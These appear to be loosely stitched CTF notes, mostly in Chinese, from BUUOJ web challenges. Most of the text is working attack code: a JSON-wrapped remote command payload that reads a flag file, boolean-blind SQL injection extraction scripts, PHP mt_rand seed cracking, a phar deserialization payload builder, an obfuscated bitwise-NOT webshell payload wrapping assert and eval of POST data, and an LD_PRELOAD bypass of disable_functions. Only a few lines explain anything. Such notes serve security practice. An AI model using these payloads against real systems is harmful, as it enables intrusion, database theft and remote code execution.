import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'

res = requests.post("http://1a2bd44f-f0ac-4886-8ed9-fe2b868d490d.node4.buuoj.cn/", data={"cmd":payload})
print(res.text)

?cmd={%0A"cmd": "ls /"%0A}

?cmd={%0A"cmd": "ls /home/rceservice"%0A}

?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}

length()
返回字符串的长度，以字节为单位，一个多字节字符算作多字节 就是假设一个包含3个双字节字符的字符串length()返回6 che_length() 返回3
substr() 
从指定位置返回多少个字符 substr() 有三个参数 
substr(字符串，从第几位开始，截取多长）
mid也具有相似的功能用法一致
ascii()
输出某个字符的ascii码值 只能处理单个字符 字符串的话只能是第一个字符 配合substr使用效果很好

if(length(database())>1,1,0) 
有回显

if(length(database())>3,1,0) 
无回显

import requests

s=requests.session()
flag = ''
for i in range(1,50):
    for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_+=-0123456789,./?|}':
        url="http://3690b471-adc4-4ce3-9854-38ef7b05bdef.node4.buuoj.cn/?stunum=if((select(substr(group_concat(table_name),{},1))from/**/information_schema.tables/**/where/**/table_schema=database())='{}',1,2)".format(i,j) 
        c = s.get(url ,timeout=3)
        #print c.text
        if 'Hi admin' in c.text:
            flag += j
            print(flag)
            break

import requests

s=requests.session()
flag = ''
for i in range(1,50):
    for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
        url="http://3690b471-adc4-4ce3-9854-38ef7b05bdef.node4.buuoj.cn/?stunum=if((select(substr(group_concat(column_name),{},1))from/**/information_schema.columns/**/where/**/table_schema=database())='{}',1,2)".format(i,j) 
        c = s.get(url ,timeout=3)
        #print c.text
        if 'Hi admin' in c.text:
            flag += j
            print(flag)
            break

import requests

s=requests.session()
flag = ''
for i in range(1,50):
    for j in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
        url="http://3690b471-adc4-4ce3-9854-38ef7b05bdef.node4.buuoj.cn/?stunum=if((select(substr(group_concat(value),{},1))from/**/flag)='{}',1,2)".format(i,j) 
        c = s.get(url ,timeout=3)
        #print c.text
        if 'Hi admin' in c.text:
            flag += j
            print(flag)
            break

010 添加一个rar的文件头52 61 72 21 1A 07 00

首行加一串++++++++

<?php
#这不是抽奖程序的源代码！不许看！ #欸我偏要看 (～￣▽￣)～
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
    if($_POST['num']===$str){x
        echo "<p id=flag>抽奖，就是那么枯燥且无味，给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦，再试试吧</p>";
    }
}
show_source("check.php");

介绍：mt_scrand() //播种 mersenne twister随机数生成器
          mt_rand()  //生成随机数

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='3qcwkpYHL4'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):  
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

<?php
mt_srand(597890092);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;
?>

<?php
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    #省略一些代码
    echo $file->close();
} else {
    echo "File not exist";
}
?>

<?php

class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }

}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub这边也可添加文件头进去

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

filename=phar://phar.png

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

<?php
   echo urlencode(~'phpinfo');
?>

<?php
   $a='assert';
   $b=urlencode(~$a);
   echo $b;
   echo "<br>";
   $c='(eval($_POST[aaa]))';
   $d=urlencode(~$c);
   echo $d;
?>

<?php
// exp.php
$cmd = "/readflag";
$out_path = "/tmp/1.txt";
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = "/tmp/bypass_disablefunc_x64.so";
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>

code=$_=~(%A0%B8%BA%AB);${$_}[__](${$_}[___]);&__=assert&___=include%20%22/tmp/exp.php%22;

import requests
url="http://11567a81-35e3-46e0-ba53-717f767dec32.node4.buuoj.cn/shop?page="

for i in range(0,2000):

​	r=requests.get(url+str(i))
​	if 'lv6.png' in r.text:
​		print (i)
​		break

pickle或cPickle，作用和PHP的serialize与unserialize一样，两者只是实现的语言不同
pickle是python语言的一个标准模块，实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中（保存文件的后缀为.pkl），不能直接打开进行预览。

#序列化
pickle.dump(obj, file, protocol=None,)
obj表示要进行封装的对象(必填参数）
file表示obj要写入的文件对象
以二进制可写模式打开即wb(必填参数）
#反序列化
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
file文件中读取封存后的对象
以二进制可读模式打开即rb(必填参数)

setting.py那边有个hint 一串Unicode 解码一下

这网站不仅可以以薅羊毛，我还留了个后门，就藏在lv6里  

self.render('form.html', res=p, member=1)